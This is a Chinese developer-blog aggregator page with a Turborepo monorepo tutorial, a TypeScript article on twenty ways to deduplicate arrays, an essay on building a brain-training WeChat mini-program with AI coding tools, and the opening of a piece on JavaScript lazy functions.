普通视图

发现新文章,点击刷新页面。
昨天 — 2026年5月8日首页

你的代码仓库变成“毛线团”了?Monorepo 用 Turborepo 拆成“乐高积木”

作者 kyriewen
2026年5月8日 23:12

你维护着五六个项目,每个都单独开一个 Git 仓库。改一个公共组件,要挨个进每个项目,复制粘贴,提交,发布。一上午就没了。今天我们来学 Monorepo——用 Turborepo 把多个项目放进同一个仓库,共享代码、统一构建、一键发布。让你的“多仓库噩梦”变成“搭积木游戏”。

前言

Polyrepo(多仓库)刚开始很爽:每个项目独立,互不干扰。但公共代码一多,就成了复制粘贴地狱。你修了一个 bug,五个项目都要同步,漏一个线上就崩。

Monorepo(单仓库)不是把代码随便堆在一起,而是用工具(Turborepo、Nx、Lerna)把多个项目“有序地”放在同一个 Git 仓库里,让它们能共享依赖、共享配置、共享构建缓存。今天我们用 Turborepo(Vercel 出品,Next.js 同款团队)搭一个 Monorepo,里面有 React 应用、Node API、一个共享的 UI 组件库。全程实战,告别“复制粘贴工程师”。

一、Monorepo 解决了什么?

  • 代码共享:公共组件放在 packages/shared,所有应用直接 import
  • 统一依赖:根目录一个 package.json,用 pnpmyarn workspaces 管理依赖,避免重复安装。
  • 原子提交:一次 commit 修改多个项目,版本同步。
  • 任务缓存:Turborepo 会记住每个任务的输入输出,第二次构建直接取缓存,秒完成。

二、准备工作:安装 pnpm 和 Turborepo

我们选择 pnpm 作为包管理器(比 npm/yarn 快,节省磁盘空间)。如果你没装 pnpm:

npm install -g pnpm

创建项目目录:

mkdir my-monorepo
cd my-monorepo
pnpm init

三、配置 pnpm workspace

在根目录创建 pnpm-workspace.yaml

packages:
  - "apps/*"
  - "packages/*"

这样 apps/ 下的每个子目录是一个应用(比如 React 前端、Node 后端),packages/ 下的子目录是共享包(比如 UI 组件库、工具函数)。

四、安装 Turborepo

pnpm add -g turbo
# 或者在项目中安装
pnpm add -D turbo

创建 turbo.json

{
  "$schema": "https://turbo.build/schema.json",
  "pipeline": {
    "build": {
      "dependsOn": ["^build"],
      "outputs": ["dist/**"]
    },
    "dev": {
      "cache": false,
      "persistent": true
    },
    "lint": {},
    "test": {}
  }
}

pipeline 定义了任务依赖关系。^build 表示执行某个包的 build 之前,先构建它的依赖包。

五、创建共享组件库

mkdir -p packages/ui
cd packages/ui
pnpm init

packages/ui/package.json 中,给包起个名字(重要):

{
  "name": "@myrepo/ui",
  "version": "0.0.1",
  "main": "./src/index.tsx",
  "types": "./src/index.tsx",
  "scripts": {
    "build": "tsc"
  }
}

安装 React 和 TypeScript 依赖(在根目录执行):

pnpm add -D react react-dom typescript @types/react -w

-w 表示安装在根 workspace。

写一个简单的 Button 组件:packages/ui/src/Button.tsx

import React from 'react';

export const Button: React.FC<{ children: React.ReactNode }> = ({ children }) => {
  return <button style={{ padding: '8px 16px', background: 'blue', color: 'white' }}>{children}</button>;
};

packages/ui/src/index.tsx

export { Button } from './Button';

配置 TypeScript:packages/ui/tsconfig.json

{
  "compilerOptions": {
    "jsx": "react-jsx",
    "module": "ESNext",
    "target": "ES2020",
    "declaration": true,
    "outDir": "dist",
    "strict": true
  },
  "include": ["src"]
}

六、创建 React 应用

我们用 Vite 创建一个 React 应用放在 apps/web

cd apps
pnpm create vite web --template react-ts
cd web

修改 apps/web/package.json,添加对共享包的依赖:

"dependencies": {
  "@myrepo/ui": "workspace:*",
  ...
}

workspace:* 表示使用当前 workspace 中的对应包。

apps/web/src/App.tsx 中引入共享按钮:

import { Button } from '@myrepo/ui';

function App() {
  return (
    <div>
      <h1>Monorepo Demo</h1>
      <Button>来自共享组件库的按钮</Button>
    </div>
  );
}
export default App;

现在在根目录运行 pnpm install,它会自动链接本地包。

七、配置 Turborepo 任务

修改根 turbo.json,让 build 任务在 React 应用里产生输出:

{
  "pipeline": {
    "build": {
      "dependsOn": ["^build"],
      "outputs": ["dist/**", "build/**"]
    },
    "dev": {
      "cache": false,
      "persistent": true
    }
  }
}

然后在根 package.json 添加脚本:

"scripts": {
  "dev": "turbo dev",
  "build": "turbo build",
  "lint": "turbo lint"
}

运行 pnpm dev,Turborepo 会同时启动两个应用的开发服务器(如果你还有 Node 后端的话)。第一次启动正常速度,第二次因为缓存,秒开。

八、共享配置与依赖提升

想在根目录统一管理 TypeScript、ESLint、Prettier 配置?在根目录创建 tsconfig.base.json,然后每个子项目的 tsconfig.json 继承它:

// apps/web/tsconfig.json
{
  "extends": "../../tsconfig.base.json",
  "compilerOptions": {
    "outDir": "./dist"
  }
}

ESLint 同理,根目录装 eslint,每个子项目通过根配置运行。

九、生产构建与部署

运行 pnpm build,Turborepo 会按照依赖顺序构建:先构建 @myrepo/ui,再构建 apps/web。并且第二次构建时会复用缓存,毫秒级完成。

构建产物可以分别部署:apps/web/dist 部署到 Vercel/Netlify,Node 应用部署到服务器。因为它们在一个仓库里,但部署是独立的。

十、总结:Monorepo 不是银弹,但能救你于复制粘贴

  • 适合场景:多个项目共享代码、团队规模中等、希望统一 CI/CD。
  • 不适合:项目之间几乎没有依赖、团队权限隔离要求极高(可加 CODEOWNERS 缓解)。
  • 工具选择:Turborepo 速度快、配置简单;Nx 功能更强(但复杂);Lerna 已过时(现在用 Nx 或 Turborepo)。

下次你又在不同项目间同步代码时,想一想:能不能把它们放进同一个 Monorepo,用 Turborepo 一键构建?省下的时间,正好可以摸会儿鱼。

TypeScript 数组去重的 20 种实现方式,学会用不同思路解决问题

作者 刀法如飞
2026年5月8日 19:16

TypeScript 数组去重的 20 种实现方式,用不同思路解决问题

数组去重是最常见的编程算法,非常简单,但也可以有很多的实现方案。TypeScript 在 JavaScript 的基础上加了静态类型,让通用工具函数可以用泛型写一次、对所有可比较类型可用。本文整理 TS 数组去重的 20 种写法,按 5 个策略分类。AI时代,可以不手写代码了,但需要知道代码背后的原理,这样才能更好地指导AI编程。

为什么性能差异这么大?

最简单的写法,新建一个数组,把不在结果里的添加进去。

function unique<T>(arr: T[]): T[] {
  const result: T[] = []
  for (const item of arr) {
    // includes 是 O(n) 线性扫描,整体则是 O(n²)
    if (!result.includes(item)) {
      result.push(item)
    }
  }
  return result
}

本文源码:github.com/microwind/a…*

问题在于每次 includes 都要全量扫一遍 result,复杂度是 O(n²)。

优化思路:换一种判重方式

  • Set / Map O(1) 查询:new Set(arr)
  • 排序 O(n log n):相同元素相邻后扫一遍
  • filter + 闭包:在函数式管道里携带"已见"状态
  • JSON 序列化:处理对象、嵌套数组等不可哈希元素
  • 递归:换种表达方式,本质仍是上面的思路

TS 相比 JS 的优势

  • 泛型 <T>:写一次、对所有类型类型安全可用
  • 类型约束T extends string | number 限定基本类型,避免对象误用 Object 字面量
  • 编译期校验:传入错误类型立即报错,不会在运行时才崩

推荐方案

需求 代码 性能 保序
一行最简 [...new Set<T>(arr)] O(n)
函数式 + Set arr.filter(x => !seen.has(x) && seen.add(x)) O(n)
按字段去重 [...new Map(arr.map(x => [x.id, x])).values()] O(n)
对象数组 JSON.stringify 作为 Set 的键 O(n×m)

第1类:基础循环(方法1-6)

策略原理:不用任何内置数组方法,纯靠下标、嵌套循环、indexOf 这种"原始"手段完成去重。每一步判重都是 O(n),整体 O(n²)。

适用场景:教学、面试手撕。生产代码不建议使用。

%%{init: {'flowchart': {'nodeSpacing': 30, 'rankSpacing': 25, 'padding': 8}}}%%
graph LR
    A([原数组]) --> B[取下一个元素]
    B --> C{遍历结果数组<br/>是否已存在?}
    C -->|否| D[push 追加]
    C -->|是| E[跳过]
    D --> F([继续])
    E --> F
    F --> B

    classDef start fill:#2E8B57,color:#fff,stroke:#1e5c3a,stroke-width:2px
    classDef step  fill:#3A86FF,color:#fff,stroke:#2b63c4,stroke-width:2px
    classDef check fill:#FFB703,color:#000,stroke:#cc8c00,stroke-width:2px
    class A,F start
    class B,D,E step
    class C check
// 方法1:双循环索引比较——i 与左侧每个 j 比对
static unique1<T>(arr: T[]): T[] {
  const result: T[] = []
  for (let i = 0, l = arr.length; i < l; i++) {
    for (let j = 0; j <= i; j++) {
      if (arr[i] === arr[j]) {
        // i === j 表示前面没有相同值,是首次出现
        if (i === j) result.push(arr[i])
        break
      }
    }
  }
  return result
}

// 方法2:新建数组 + includes 检查
static unique2<T>(arr: T[]): T[] {
  const result: T[] = []
  for (const item of arr) {
    // includes 是 O(n) 线性扫描,每个元素都要扫描一次,整体是 O(n²)
    if (!result.includes(item)) {
      result.push(item)
    }
  }
  return result
}

// 方法3:从后往前原地 splice
static unique3<T>(arr: T[]): T[] {
  let l = arr.length
  while (l-- > 0) {
    // 从后往前遍历,避免删除后索引变化导致跳过元素
    // 每个元素都要扫描一次,整体是 O(n²)
    for (let i = 0; i < l; i++) {
      if (arr[l] === arr[i]) {
        arr.splice(l, 1)
        break
      }
    }
  }
  return arr
}

// 方法4:从前往后原地 splice(删后面相同项)
static unique4<T>(arr: T[]): T[] {
  let l = arr.length
  for (let i = 0; i < l; i++) {
    // 从前往后遍历,每个元素都要扫描一次,整体是 O(n²)
    for (let j = i + 1; j < l; j++) {
      if (arr[i] === arr[j]) {
        arr.splice(j, 1)
        j--; l--
      }
    }
  }
  return arr
}

// 方法5:forEach + indexOf
// indexOf 返回首次出现下标,等于当前下标即首次
static unique5<T>(arr: T[]): T[] {
  const result: T[] = []
  // forEach 是 O(n) 线性扫描,每个元素都要扫描一次
  arr.forEach((item, i) => {
    if (arr.indexOf(item) === i) result.push(item)
  })
  return result
}

// 方法6:双重 while 倒序 splice
static unique6<T>(arr: T[]): T[] {
  let l = arr.length
  while (l-- > 0) {
    let i = l
    // 从后往前遍历,每个元素都要扫描一次,整体是 O(n²)
    while (i-- > 0) {
      if (arr[l] === arr[i]) {
        arr.splice(l, 1)
        break
      }
    }
  }
  return arr
}

所有泛型方法的 T 不需要额外约束——=== 比较对所有 TS 类型都有效(虽然引用类型只比指针)。


第2类:内置数组方法(方法7-11)

策略原理:JavaScript 数组自带 filterreduceforEach 等高阶方法,可以把"判重 + 收集"写成函数式风格。注意 indexOf / includes 仍是 O(n),需要用 Set<T> 闭包才能压到 O(n)。

适用场景:现代 TS 工程的常态写法。可读性高,链式组合方便。

%%{init: {'flowchart': {'nodeSpacing': 30, 'rankSpacing': 25, 'padding': 8}}}%%
graph LR
    A([原数组]) --> B[filter / reduce 管道]
    B --> C{选择策略}
    C -->|indexOf 判重| D["O(n²)"  但简洁]
    C -->|Set 闭包判重| E["O(n)" 推荐使用]
    C -->|对象键| F["O(n)" 但有类型陷阱]
    D --> G([新数组])
    E --> G
    F --> G

    classDef start fill:#2E8B57,color:#fff,stroke:#1e5c3a,stroke-width:2px
    classDef step  fill:#0F3460,color:#fff,stroke:#0a2647,stroke-width:2px
    classDef check fill:#FFB703,color:#000,stroke:#cc8c00,stroke-width:2px
    class A,G start
    class B,D,E,F step
    class C check
// 方法7:filter + indexOf 一行经典
// indexOf 返回首次出现下标,等于当前下标即首次出现,用 filter 过滤出首次出现的元素
static unique7<T>(arr: T[]): T[] {
  return arr.filter((item, i) => arr.indexOf(item) === i)
}

// 方法8:filter + Set 闭包——推荐写法
// Set.add 返回 Set 自身(truthy),结合短路 && 实现首次见到才返回 true
static unique8<T>(arr: T[]): T[] {
  const seen = new Set<T>()
  return arr.filter(item => !seen.has(item) && !!seen.add(item))
}

// 方法9:reduce 累加(用数组)
// 函数式风格,但 includes 仍是 O(n²)
// 注意 reduce 的泛型参数 T[],初始值为 [] as T[]
static unique9<T>(arr: T[]): T[] {
  // 用 reduce 累加数组,每次判断是否已存在,不存在则添加
  return arr.reduce<T[]>((acc, item) => {
    if (!acc.includes(item)) acc.push(item)
    return acc
  }, [])
}

// 方法10:reduce + Set 闭包——O(n) 函数式
static unique10<T>(arr: T[]): T[] {
  const seen = new Set<T>()
  // 用 reduce 累加数组,每次判断是否已存在,不存在则添加
  return arr.reduce<T[]>((acc, item) => {
    if (!seen.has(item)) {
      seen.add(item)
      acc.push(item)
    }
    return acc
  }, [])
}

// 方法11:Object + typeof 键
// 用 typeof + value 拼成字符串作为对象键,避免 1 与 '1' 冲突
// 类型约束 T extends string | number | boolean 限制为基本类型
static unique11<T extends string | number | boolean>(arr: T[]): T[] {
  const obj: Record<string, true> = {}
  // 用 filter 过滤出首次出现的元素,用 typeof + value 拼成字符串作为对象键
  return arr.filter(item => {
    const key = typeof item + String(item)
    return Object.prototype.hasOwnProperty.call(obj, key)
      ? false
      : (obj[key] = true)
  })
}

TS 加分项T extends string | number | boolean 限定调用方只能传基本类型数组,对象数组在编译期就会报错——避免运行时陷阱。


第3类:集合容器(方法12-14)

策略原理:ES6 引入的 SetMap 用 SameValueZero 算法判等,键唯一且 O(1),是 JS/TS 里最自然的去重工具。Object 字面量虽然也能当哈希用,但有"键自动字符串化""数字键被引擎重排"等坑。

适用场景:日常项目首选 Set;需要保留 value 选 Map;只在小数据或特殊兼容场景才用 Object

%%{init: {'flowchart': {'nodeSpacing': 30, 'rankSpacing': 25, 'padding': 8}}}%%
graph LR
    A([原数组]) --> B{选择容器}
    B -->|Set 'T'| C[键唯一<br/>保持插入顺序]
    B -->|Map 'K, V'| D[键唯一<br/>值可携带类型]
    B -->|Object 'Record'| E[键自动字符串化<br/>有重排陷阱]
    C --> F([转回数组])
    D --> F
    E --> F

    classDef start fill:#2E8B57,color:#fff,stroke:#1e5c3a,stroke-width:2px
    classDef step  fill:#8338EC,color:#fff,stroke:#5e27a8,stroke-width:2px
    classDef check fill:#FFB703,color:#000,stroke:#cc8c00,stroke-width:2px
    class A,F start
    class C,D,E step
    class B check
// 方法12:new Set 转数组——一行经典
// Set<T> 用 SameValueZero 比较,NaN 也能正确去重
static unique12<T>(arr: T[]): T[] {
  return [...new Set(arr)]
}

// 方法13:Map<T, T> + keys
// 适合"按键去重,值携带其他信息"的场景
static unique13<T>(arr: T[]): T[] {
  const map = new Map<T, T>()
  // 用 Map<T, T> + keys 转数组,保持插入顺序
  arr.forEach(item => map.set(item, item))
  return [...map.keys()]
}

// 方法14:Object 字面量哈希——T extends string | number 防误用
// 注意:1 与 '1' 会被合并;数字键会被引擎按升序重排
static unique14<T extends string | number>(arr: T[]): T[] {
  const obj = {} as Record<string, T>
  // 用 Object 字面量哈希,键自动字符串化,数字键会被引擎按升序重排
  for (const item of arr) obj[String(item)] = item
  return Object.values(obj)
}

TS 类型提醒Map<K, V> 的两个泛型参数让你显式声明键值类型,比 JS 的 new Map() 更安全。如果按业务字段去重,可以写 new Map<number, User>() 表明键是 id(number),值是 User。


第4类:排序后去重(方法15-17)

策略原理:先 sort 让相同元素相邻,再扫一遍删除相邻相同项。复杂度由排序决定,O(n log n)。优点是不需要额外的哈希结构,"相邻判等"是最便宜的判重方式;缺点是会破坏原顺序。

适用场景:输出本就需要排序、不在意原顺序。

%%{init: {'flowchart': {'nodeSpacing': 30, 'rankSpacing': 25, 'padding': 8}}}%%
graph LR
    A([原数组]) --> B[sort<br/>相同元素相邻]
    B --> C{相邻是否相同?}
    C -->|是| D[splice/skip]
    C -->|否| E[保留]
    D --> F([结果])
    E --> F

    classDef start fill:#2E8B57,color:#fff,stroke:#1e5c3a,stroke-width:2px
    classDef step  fill:#FF6B6B,color:#fff,stroke:#cc4444,stroke-width:2px
    classDef check fill:#FFB703,color:#000,stroke:#cc8c00,stroke-width:2px
    class A,F start
    class B,D,E step
    class C check
// 方法15:sort + splice 升序去重(仅 number[])
// JS sort 不传比较函数会按字符串排序,必须传 (a, b) => a - b
static unique15(arr: number[]): number[] {
  arr.sort((a, b) => a - b)
  let l = arr.length
  // 先排序,从后往前遍历,相邻元素相同则删除当前元素
  while (l-- > 1) {
    if (arr[l] === arr[l - 1]) arr.splice(l, 1)
  }
  return arr
}

// 方法16:sort + filter 相邻判重
static unique16(arr: number[]): number[] {
  arr.sort((a, b) => a - b)
  // 先排序,从后往前遍历,相邻元素相同则删除当前元素
  return arr.filter((item, i) => i === 0 || item !== arr[i - 1])
}

// 方法17:经典双指针(LeetCode 26)
// 排序后原地双指针,O(1) 额外空间
static unique17(arr: number[]): number[] {
  if (arr.length === 0) return arr
  arr.sort((a, b) => a - b)
  let slow = 0
  // 先排序,从后往前遍历,相邻元素相同则删除当前元素
  for (let fast = 1; fast < arr.length; fast++) {
    if (arr[fast] !== arr[slow]) {
      arr[++slow] = arr[fast]
    }
  }
  return arr.slice(0, slow + 1)
}

泛化排序的难点:要让排序方法也支持任意 T,得让调用方传 compareFn: (a: T, b: T) => number——参考 Array.prototype.sort 的设计。这里为简明起见限定为 number[]


第5类:递归与特殊(方法18-20)

策略原理:递归用自调用替代循环,是函数式思维的体现,主要用于教学。JSON.stringify 把对象映射为字符串,是处理"不可哈希元素"(对象数组、嵌套数组)的常见招数。

适用场景:递归——教学;JSON——对象数组按整体结构去重。

%%{init: {'flowchart': {'nodeSpacing': 30, 'rankSpacing': 25, 'padding': 8}}}%%
graph LR
    A([数组 length=n]) --> B{length <= 1?}
    B -->|是| C([返回])
    B -->|否| D[检查末尾元素<br/>是否在前面出现]
    D --> E{重复?}
    E -->|是| F[丢弃末尾]
    E -->|否| G[保留末尾]
    F --> H[递归 length-1]
    G --> H
    H --> A

    classDef start fill:#2E8B57,color:#fff,stroke:#1e5c3a,stroke-width:2px
    classDef step  fill:#118AB2,color:#fff,stroke:#0b5f7a,stroke-width:2px
    classDef check fill:#FFB703,color:#000,stroke:#cc8c00,stroke-width:2px
    class A,C start
    class D,F,G,H step
    class B,E check
// 方法18:递归原地删除
static unique18<T>(arr: T[], length: number): T[] {
  if (length <= 1) return arr
  const last = length - 1
  // 从后往前遍历,检查末尾元素是否在前面出现
  for (let i = last - 1; i >= 0; i--) {
    if (arr[last] === arr[i]) {
      arr.splice(last, 1)
      break
    }
  }
  return UniqueArray.unique18(arr, length - 1)
}

// 方法19:递归拼接返回(不修改原数组)
static unique19<T>(arr: T[], length: number): T[] {
  if (length <= 1) return arr.slice(0, length)
  const last = length - 1
  const lastItem = arr[last]
  let isRepeat = false
  // 从后往前遍历,检查末尾元素是否在前面出现
  for (let i = last - 1; i >= 0; i--) {
    if (lastItem === arr[i]) {
      isRepeat = true
      break
    }
  }
  const head = UniqueArray.unique19(arr, length - 1)
  return isRepeat ? head : head.concat(lastItem)
}

// 方法20:JSON 字符串判重——处理对象数组
// 把对象序列化成字符串作为 Set 的键,能去重 {id:1} 这类结构
static unique20<T>(arr: T[]): T[] {
  const seen = new Set<string>()
  const result: T[] = []
  // 遍历数组,把每个对象序列化成字符串作为 Set 的键
  for (const item of arr) {
    const key = JSON.stringify(item)
    if (!seen.has(key)) {
      seen.add(key)
      result.push(item)
    }
  }
  return result
}

// 用法示例:
// UniqueArray.unique20<{id: number}>([{id: 1}, {id: 2}, {id: 1}])
// => [{id: 1}, {id: 2}]

JSON 的两个限制:① 字段顺序不同的对象会被认为不同({a:1,b:2}{b:2,a:1});② undefined、函数、循环引用会丢失或抛错。


选择指南

%%{init: {'flowchart': {'nodeSpacing': 25, 'rankSpacing': 15, 'padding': 5}}}%%
graph TD
    Start(["数组去重"]) --> Need{"是否需要保序?"}

    Need -->|不需要| Fast["看数据特征"]
    Need -->|需要| Ordered["保留原顺序"]

    Fast --> Q1{"数据形态"}
    Q1 -->|顺便要排序| Sort["sort + Set"]
    Q1 -->|纯基本类型| Set1["[...new Set(arr)]"]

    Ordered --> Q2{"侧重点"}
    Q2 -->|代码简洁| Set2["[...new Set(arr)]<br/>一行解决"]
    Q2 -->|函数式 O(n)| FilterSet["filter + Set 闭包"]
    Q2 -->|按字段去重| MapByKey["Map + keyFn"]
    Q2 -->|对象数组| JSON["JSON.stringify + Set"]

    classDef start fill:#2E8B57,color:#fff,stroke:#1e5c3a
    classDef decision fill:#FE8B57,color:#fff,stroke:#141b2d
    classDef fast fill:#3A86FF,color:#fff,stroke:#2b63c4
    classDef ordered fill:#8338EC,color:#fff,stroke:#5e27a8
    classDef method fill:#0f3460,color:#fff,stroke:#0a2647

    class Start start
    class Need,Q1,Q2 decision
    class Fast fast
    class Ordered ordered
    class Sort,Set1,Set2,FilterSet,MapByKey,JSON method
类别 时间复杂度 是否保序 主要场景
基础循环 O(n²) 教学、面试手撕
内置数组方法 O(n) ~ O(n²) 函数式风格
集合容器 O(n) 看具体类 日常项目首选
排序后去重 O(n log n) 顺便要排序
递归 / JSON 视实现 看实现 教学 / 对象数组

实际项目里怎么选

绝大多数情况一行就够:

// 保序、O(n)、写法最短,工程首选
const result = [...new Set<T>(arr)]

// 或函数式风格,O(n)
const seen = new Set<T>()
const result = arr.filter(x => !seen.has(x) && !!seen.add(x))

按业务字段去重(最常用):

interface User {
  id: number
  name: string
}

// 按 id 去重
const result = [...new Map(users.map(u => [u.id, u])).values()]

对象数组按整体结构去重:

const seen = new Set<string>()
const result = arr.filter(x => {
  const key = JSON.stringify(x)
  return !seen.has(key) && !!seen.add(key)
})

需要排序:

const result = [...new Set(arr)].sort((a, b) => a - b)

带业务逻辑的去重

实际工作里经常遇到这样的情况:遇到重复时不能简单丢弃,要按某个规则做处理。比如:

  • id 去重,但要保留分数最高的那条记录
  • 去重的同时累加重复次数
  • 数值在某个区间内才参与去重

这类需求 Set 直接搞不定,需要把"判重"和"处理"两步拆开来写。TS 里通常用泛型 Map<K, V> + 合并函数:

/**
 * 带业务规则的去重。
 *
 * @param data 原数据
 * @param keyFn 从元素提取去重键
 * @param onDup 遇到重复时如何合并 (旧值, 新值) -> 新代表值
 */
function uniqueBy<T, K>(
  data: T[],
  keyFn: (item: T) => K,
  onDup?: (oldVal: T, newVal: T) => T,
): T[] {
  // Map 保证遍历顺序与首次出现顺序一致
  const chosen = new Map<K, T>()
  for (const item of data) {
    const key = keyFn(item)
    if (!chosen.has(key)) {
      chosen.set(key, item)
    } else if (onDup) {
      chosen.set(key, onDup(chosen.get(key)!, item))
    }
  }
  return [...chosen.values()]
}

例 1:按 id 去重,保留分数最高的:

interface Student {
  id: number
  name: string
  score: number
}

const students: Student[] = [
  { id: 1, name: '张三', score: 90 },
  { id: 1, name: '张三', score: 95 },   // 同 id,分数更高
  { id: 2, name: '李四', score: 85 },
]

const result = uniqueBy(
  students,
  s => s.id,
  (oldS, newS) => newS.score > oldS.score ? newS : oldS,
)
// [{id:1, score:95, ...}, {id:2, score:85, ...}]

例 2:去重同时统计频次:

const counts = new Map<string, number>()
for (const item of data) {
  counts.set(item, (counts.get(item) ?? 0) + 1)
}
// counts.keys() 是保序的去重结果

例 3:区间过滤——只对 [0, 100] 区间内的值去重,区间外原样保留:

const seen = new Set<number>()
const result: number[] = []
for (const x of data) {
  if (x >= 0 && x <= 100) {
    if (seen.has(x)) continue
    seen.add(x)
  }
  result.push(x)
}

这三个例子是同一种思路:把判重与业务规则分开。判重用 Set/Map 保证 O(n),规则部分留给回调或显式分支处理。


对象数组去重的几种 TS 写法

TS 比 JS 的优势在于——可以为每种去重写法显式标注键类型,编译器会帮你检查:

写法 1:按字段去重(最常见)

interface User {
  id: number
  name: string
}

// new Map<id类型, 值类型>
const result: User[] = [
  ...new Map<number, User>(users.map(u => [u.id, u])).values()
]

写法 2:按多字段组合

const result: User[] = [
  ...new Map<string, User>(
    users.map(u => [`${u.id}|${u.name}`, u])
  ).values()
]

写法 3:按整体结构(用 JSON)

const seen = new Set<string>()
const result = arr.filter(x => {
  const key = JSON.stringify(x)
  return !seen.has(key) && !!seen.add(key)
})

写法 4:写一个通用的 uniqueBy(推荐)

function uniqueBy<T, K>(arr: T[], keyFn: (item: T) => K): T[] {
  const seen = new Set<K>()
  return arr.filter(item => {
    const key = keyFn(item)
    return !seen.has(key) && !!seen.add(key)
  })
}

// 使用
const unique = uniqueBy(users, u => u.id)

TS 类型小贴士

Set 的泛型参数:永远显式标注 Set<T>,避免推断成 Set<unknown>

const seen = new Set<number>()      // ✓ 类型明确
const seen = new Set()              // ✗ Set<unknown>

reduce 的初始值:泛型推断有时会推成原数组类型,需要显式标注:

// ✗ 类型错误:推断 acc 为 number 而非 number[]
arr.reduce((acc, x) => [...acc, x], [])

// ✓ 用 reduce<T[]> 或 [] as T[]
arr.reduce<number[]>((acc, x) => [...acc, x], [])

Set.add 返回类型Set<T>.add 返回 Set<T>(truthy),用 && 短路时需要 !! 转布尔:

// JS 里直接 && 即可,TS 严格模式下需 !!
return !seen.has(item) && !!seen.add(item)

总结

工程应用选择:

  • 默认用 [...new Set<T>(arr)]:保序、一行、O(n)、类型安全
  • 函数式用 arr.filter(x => !seen.has(x) && !!seen.add(x))
  • 按字段去重用通用泛型 uniqueBy<T, K>(arr, keyFn)
  • 对象整体去重用 JSON.stringify 作为键
  • 顺便排序用 [...new Set(arr)].sort((a, b) => a - b)
  • 业务规则干预用 Map<K, V> + 合并函数

核心思路:

  1. 同一个问题可以从多个角度切入
  2. 选对数据结构往往比写更聪明的代码更重要
  3. O(n²) 与 O(n) 在数据变大时是几百倍的实际差距
  4. 不要过度优化——能用 new Set 就别绕弯
  5. TS 的泛型让通用工具函数写一次、对所有类型可用,比 JS 更值得封装

更多算法

不同语言算法实现:github.com/microwind/a…

AI编程知识库:microwind.github.io

我用两周半 Vibe Coding 做了一个前额叶训练的微信小程序

2026年5月8日 17:46

体验方式在最后~

最近花了两周半的时间vibe coding了一款微信小程序,这也是属于自己的第一款产品,叫「前额叶专注训练」,定位是前额叶训练小游戏。简单说,就是把舒尔特方格、数字记忆、N-Back、Stroop、go/no-go、河内塔、24 点这类认知训练任务,包装成一个轻娱乐产品:用户每天玩几局,训练自己的专注能力和记忆力。

这个项目从需求讨论、技术方案、功能实现,都是我跟 AI 一轮一轮聊出来的,自己没有写过一行代码,整个过程大概两周半,从五月初开始规划,到五月前开发完成并发布上线,备案的过程也是开始开发的时候就完成了。写这篇文章是想分享下vibe coding的一些感受。

image.png

第一,让AI写代码之前,一定要把需求聊清楚

从一开始的windsurf、cursor、trae到claude code和codex,我都使用过,在这里不讨论谁好用谁不好用,不管使用哪个代码编辑器,不管写多大的功能还少就是一个小的迭代,我的习惯都是先跟AI把需求聊明白,我习惯在每次对话后加上一句:先产出实现方案,等我同意再开始写代码。这样做的好处就是不用每次AI生成的代码不满意再回退,经常用AI编程的应该都深有感受,AI生成的代码一次次的回退是很招人烦的。所以,千万不要一上来就跟 AI 说“帮我写一个xxx小程序”,“帮我实现一个xxx功能”。这样做运气好的话能得到理想的效果,但是不保证每次运气都那么好。

我一开始也只是一个很模糊的想法:想做一个训练前额叶能力的小程序,而且我只知道一个舒尔特方格(我承认这个是从别人那得到的灵感),后来跟 AI 聊了之后,发现有好多可以实现的小游戏都可以用来训练专注力和注意力,这就是和AI先聊的好处。这个过程中,AI 的作用不是替我拍板,而是不断帮我把想法摊开。比如我说想做“脑力训练”,它会继续追问或展开成工作记忆、持续注意、抑制控制、认知灵活性、计划决策这些方向。然后我们再反过来判断,这些方向能不能变成普通用户愿意玩的小游戏。

确定了大概要做的内容,之后就是产出产品文档,有了产品文档之后,再让AI帮忙产出技术文档,有了这两份文档,基本是就知道该怎么实现了。另外还有一点,一定要分阶段实现,每一阶段开发完成后一定要验证,有bug就让AI改,避免最后整体验证bug数量过多的问题。

所以 vibe coding 第一步不是写代码,而是把需求聊到足够具体。你越能说清楚边界,AI 写出来的东西越接近你想要的效果。反过来,如果自己都没想清楚,AI 只会很努力地把混乱放大。

先实现一个能跑通的MVP版本

需求聊完之后,我没有一开始就让它帮我做完整的项目。而是先是做一个能跑通的版本,这个版本一定能跑通你的核心流程,比如我的小程序的核心流程就是用户能打开一款游戏去玩,所以我的第一版的功能就是:用户能打开小程序,能登录,能看到第一款游戏,能开始一局游戏即可。

这个链路跑通以后,说明第一版本的代码没问题,此时再往上叠加其他功能才最合适。否则你可能做了很多页面,但核心闭环其实是断的。

这样后面加游戏就和第一个游戏的开发一样,变成了一个固定流程:

  1. 写游戏组件;
  2. 写游戏定义;
  3. 注册到游戏列表;
  4. 在云函数里补评分规则。

所以项目后来能比较快地扩到 12 款游戏,不是因为每款游戏都随便生成一下就完了,而是因为前面先把模式定住了。AI 很适合在这种稳定模式下继续扩展。如果每个页面都从零开始聊,速度反而会越来越慢。

这也是我对 MVP 的理解:不是做一个很丑的半成品,而是先把最小闭环做扎实。它可以功能少,但关键链路一定要能跑。

即使产品失败了,没人用也不要气馁

忘了之前在哪看的,说独立开发人员在开发一款应用前都会有一种错觉,觉得自己的应用一定会火,一定有人用,我就是这样。所以在上线后天天盯着数据,发现用的人少心态都不好了,但其实成功毕竟是少数的,尤其是现在有了AI的加持,上线一款应用的成本这么低,注定会有许多人的产品一定没人用。但是并不是说没人用就一点收获都没有,以前总是想着自己作出一款属于自己的产品,这不就有了,现在试错成本这么低,多做几款又何妨。所以一定要放平心态。

最后的感受

两周半做出一个备案上线的小程序,在没有AI之前是不可能完成的事,但有了AI之后就将这种不可能变成了可能。AI 最大的价值,是让我一直保持“下一步能做什么”的状态。它能把模糊想法变成初稿,把初稿变成代码,把报错变成修改建议,把新功能拆成文件和步骤。

所以,不必焦虑AI把我们替代了这类问题,而是要积极的拥抱AI,用AI将自己脑子中的想法落地,这才是正解。

打个广告,欢迎体验,有问题欢迎私聊~

打开微信搜一搜:前额叶专注训练 image.png 也欢迎扫码体验

image.png

JS中的惰性函数基本介绍

作者 Rkgua
2026年5月8日 17:09

JS中的惰性函数(Lazy Function)其实是一种非常巧妙的性能优化设计模式,也就是利用js的动态重写函数的思想,用第一次调用时微乎其微的代价,换取了后续所有调用的极致性能,它的核心思想非常直白:让函数在第一次执行时“记住”环境特性或计算结果,并在后续调用中直接走捷径,不再做无意义的重复判断或计算。

你可以把它想象成下班回家认路:第一天到一个新小区,你需要停下来辨认方向、确认门牌号(这是第一次执行的“脏活累活”);但如果你住了十年,每天回家还在每个路口重新认路就太荒谬了。惰性函数就是让你“第一次辛苦认路,以后闭着眼走直线”。

